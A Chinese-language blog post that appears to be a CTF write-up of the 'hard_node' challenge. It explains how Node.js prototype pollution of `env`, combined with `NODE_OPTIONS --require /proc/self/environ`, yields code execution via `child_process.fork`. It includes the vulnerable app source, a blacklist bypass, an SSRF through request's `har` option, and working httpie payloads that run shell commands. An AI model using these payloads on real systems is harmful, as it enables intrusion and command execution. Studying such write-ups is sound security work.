(o・∇・o)
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[Node] child_process.fork 与 env 污染 RCE

Node 从8.0 开始支持 NODE_OPTIONS,而 Node 的参数中有一项名为 --require,可以加载执行一段 JavaScript 代码。这就是一切的起源。

当 NODE_OPTIONS 遇到 fork

我们先来看一下 child_process.fork 的源码:

function fork(modulePath /* , args, options */) {
  validateString(modulePath, 'modulePath');

  // Get options and args arguments.
  let execArgv;
  let options = {};
  let args = [];
  let pos = 1;
  if (pos < arguments.length && ArrayIsArray(arguments[pos])) {
    args = arguments[pos++];
  }

  if (pos < arguments.length &&
      (arguments[pos] === undefined || arguments[pos] === null)) {
    pos++;
  }

  if (pos < arguments.length && arguments[pos] != null) {
    if (typeof arguments[pos] !== 'object') {
      throw new ERR_INVALID_ARG_VALUE(`arguments[${pos}]`, arguments[pos]);
    }

    options = { ...arguments[pos++] };
  }

  // Prepare arguments for fork:
  execArgv = options.execArgv || process.execArgv;

  if (execArgv === process.execArgv && process._eval != null) {
    const index = execArgv.lastIndexOf(process._eval);
    if (index > 0) {
      // Remove the -e switch to avoid fork bombing ourselves.
      execArgv = execArgv.slice();
      execArgv.splice(index - 1, 2);
    }
  }

  args = execArgv.concat([modulePath], args);

  if (typeof options.stdio === 'string') {
    options.stdio = stdioStringToArray(options.stdio, 'ipc');
  } else if (!ArrayIsArray(options.stdio)) {
    // Use a separate fd=3 for the IPC channel. Inherit stdin, stdout,
    // and stderr from the parent if silent isn't set.
    options.stdio = stdioStringToArray(
      options.silent ? 'pipe' : 'inherit',
      'ipc');
  } else if (!options.stdio.includes('ipc')) {
    throw new ERR_CHILD_PROCESS_IPC_REQUIRED('options.stdio');
  }

  options.execPath = options.execPath || process.execPath;
  options.shell = false;

  return spawn(options.execPath, args, options);
}

看到第 52 行。当 options 中没有 execPath 中,fork 会尝试使用 process.execPath,也就是 node 本身。如果我们还可以控制 options.env,那就可以在 fork 执行之前先执行一段我们想要执行的代码。

原型链注入

原型链注入是老生长谈的 Node 安全漏洞了。这次,我们需要通过它写入 env,以在 fork 时传入环境变量。

通过注入 __proto__.env,向其中写入:

{
  "NODE_OPTIONS": "--require path/to/file.js"
}

我们就可以执行对应的 JavaScript 了。那如果不能借助文件,我们又该怎么办呢?

/proc

通过 /proc/self/environ,我们可以读取当前的环境变量。于是,我们就可以通过将代码写到环境变量里,达到执行任意代码的目的。我们将上面的 payload 修改成下面的形式:

{
  "AAAA": "console.log("2333")//",
  "NODE_OPTIONS": "--require /proc/self/environ"
}

就可以在 fork 之前向控制台打印出 2333 了。这里的 AAAA 是为了让这条环境变量在 /proc/self/environ 中能显示在最前,而后面的 // 则是为了注释掉之后的内容,防止执行出现问题。AAAA// 的配合使得只有我们希望的代码被执行,提高了破坏力。

实战

这题据 CTFHub 说是 2020 第五空间决赛的 Web 题,名字是 hard_node,在 CTFHub 上可以找到。但 CTFHub 上没给源码,所以这里附一下源码。

// app.js
const express = require('express');
const bodyParser = require('body-parser');
const proc = require('child_process');
const request = require('request');
const ip = require("ip");
const manage = require("./manage.js");
const path = require('path');

const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());

app.use(express.static(path.join(__dirname, 'public')));

//stop hackers
const disallowedKeys = [
    '__proto__',
    'prototype',
    'constructor',
    'eval','proccess','root','global','exec','!','fs'
];

function isValidPath(segment){
    disallowedKeys.forEach(evilWord => {
        if(segment.toString().indexOf(evilWord)!==-1){
            return false
        }
    });

    return true;
}

app.post('/add', (req, res) => {
    let ip = req.ip;
    console.log(ip.m);
    if (ip.substr(0, 7) == "::ffff:") {
        ip = ip.substr(7)
    }
    console.log(`method:${req.method},serverip:${server_ip},ip:${ip}`);

    if (ip != '127.0.0.1' && ip != server_ip) {
        res.status(403).send('Not Edit from Local!');
    }else{
        if(req.body.userName && req.body.nameVal){
            let username = req.body.userName;
            let nameVal = req.body.nameVal;

            if (!isValidPath(username) || !isValidPath(nameVal)) {
                username = 'username';
                nameVal = 'guest';
            }

            manage.set(object, username, nameVal);
            console.log(ip.k);
            console.log(object);

            res.send(`
            <h1>Edit Success</h1>
            <a href="/admin">View Admin Page</a>`)
        }else{
            res.send('param error');
        }
    }
});

app.get('/admin',(req,res)=>{
    if(manage.get(object,'username','guest') === 'admin'){
        console.log('Current User:'+object.username)

        const child = proc.fork(`${__dirname}/public/user.js`,['admin']);
        child.on('message', (body) => {
            res.status(200).send(body);
        });
        child.on('close', (code, signal) => {
            console.log(`subproccess ended with ${signal}`);
        });

    }else{
        res.status(403).send('Only Admin Can View this');
    }
})

app.get('/getContent',(req,res)=>{
    res.sendfile(`${__dirname}/public/guest.html`);
})

app.get('/', (req,res) => {
    // console.log(req.body)
    let uri = req.query.url? req.query.url: 'http://127.0.0.1:3000/getContent';
    console.log(uri)

    try{
        request.get(uri,(err,response,data)=>{
            if (!err && response.statusCode == 200) {
                res.send(data);
            }else{
                console.log(err);
            }
        })
    }catch(e){
        console.log(e);
    }finally{
        console.log('Make Server Continue Running');
    }
});

var object = {username:'guest'};
var server_ip = ip.address();

app.listen(3002);
console.log(`${server_ip} is starting at port 3000`)
// manage.js
const isObj = require('is-obj');

var manage = {
    getPathSegments: function(path) {
        const pathArray = path.split('.');
        const parts = [];

        for (let i = 0; i < pathArray.length; i++) {
            let p = pathArray[i];

            while (p[p.length - 1] === '\\' && pathArray[i + 1] !== undefined) {
                p = p.slice(0, -1);
                p += pathArray[++i];
            }

            parts.push(p);
        }

        return parts;
    },

    get: function(object, path, value) {
        if (!isObj(object) || typeof path !== 'string') {
            return value === undefined ? object : value;
        }

        const pathArray = this.getPathSegments(path);

        for (let i = 0; i < pathArray.length; i++) {
            if (!Object.prototype.propertyIsEnumerable.call(object, pathArray[i])) {
                return value;
            }

            object = object[pathArray[i]];

            if (object === undefined || object === null) {
                if (i !== pathArray.length - 1) {
                    return value;
                }
                break;
            }
        }

        return object;
    },

    set: function(object, path, value) {
        Object.keys(Object.prototype).forEach(function(Val){
            if(!Object.hasOwnProperty(Val)){
                delete Object.prototype[Val];
                console.log(`${Val} is delete`);
            }
        })

        if (!isObj(object) || typeof path !== 'string') {
            return object;
        }

        const root = object;
        const pathArray = this.getPathSegments(path);

        for (let i = 0; i < pathArray.length; i++) {
            const p = pathArray[i];

            if (!isObj(object[p])) {
                object[p] = {};
            }

            if (i === pathArray.length - 1) {
                object[p] = value;
            }

            object = object[p];
        }

        return root;
    }    

}

module.exports = manage 

可以看到,manager.jsset 存在明显的原型链注入,而通过 getPathSegments 又可以以 \\. 的方式绕过黑名单的检测。

我们发现,修改信息只能通过 /add 进行,这里有一个内网限定访问,可以使用 requesthar 来实现:

http  --follow --timeout 3600 GET challenge-9a9f71099ac1a765.sandbox.ctfhub.com:10080/ 'url[har][method]'=='POST' 'url[har][url]'=='http://127.0.0.1/add' 'url[har][postData]'=='{"userName": "username", "nameVal": "admin"}' 'url[har][postData][mimeType]'=='application/json'

然后执行写入要执行的代码:

http  --follow --timeout 3600 GET challenge-9a9f71099ac1a765.sandbox.ctfhub.com:10080/ 'url[har][method]'=='POST' 'url[har][url]'=='http://127.0.0.1/add' 'url[har][postData]'=='{"userName": "__pr\\\\.oto__.env", "nameVal": {"A": "process.send(require('\''child_process'\'').execSync('\''cat /flag'\''))//", "NODE_OPTIONS": "--require /proc/self/environ"}}' 'url[har][postData][mimeType]'=='application/json'

最后访问 /admin 就可以了。

(最后从 CTFHub 上把源码偷下来了:https://drive.google.com/file/d/1z6zT48OI7zeUjWwIJvma66_2ZGIMz1M2/view?usp=sharing

参考

  1. https://xz.aliyun.com/t/6755
  2. https://blog.szfszf.top/article/47/
  3. https://github.com/mpgn/CVE-2019-7609

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2020-10-18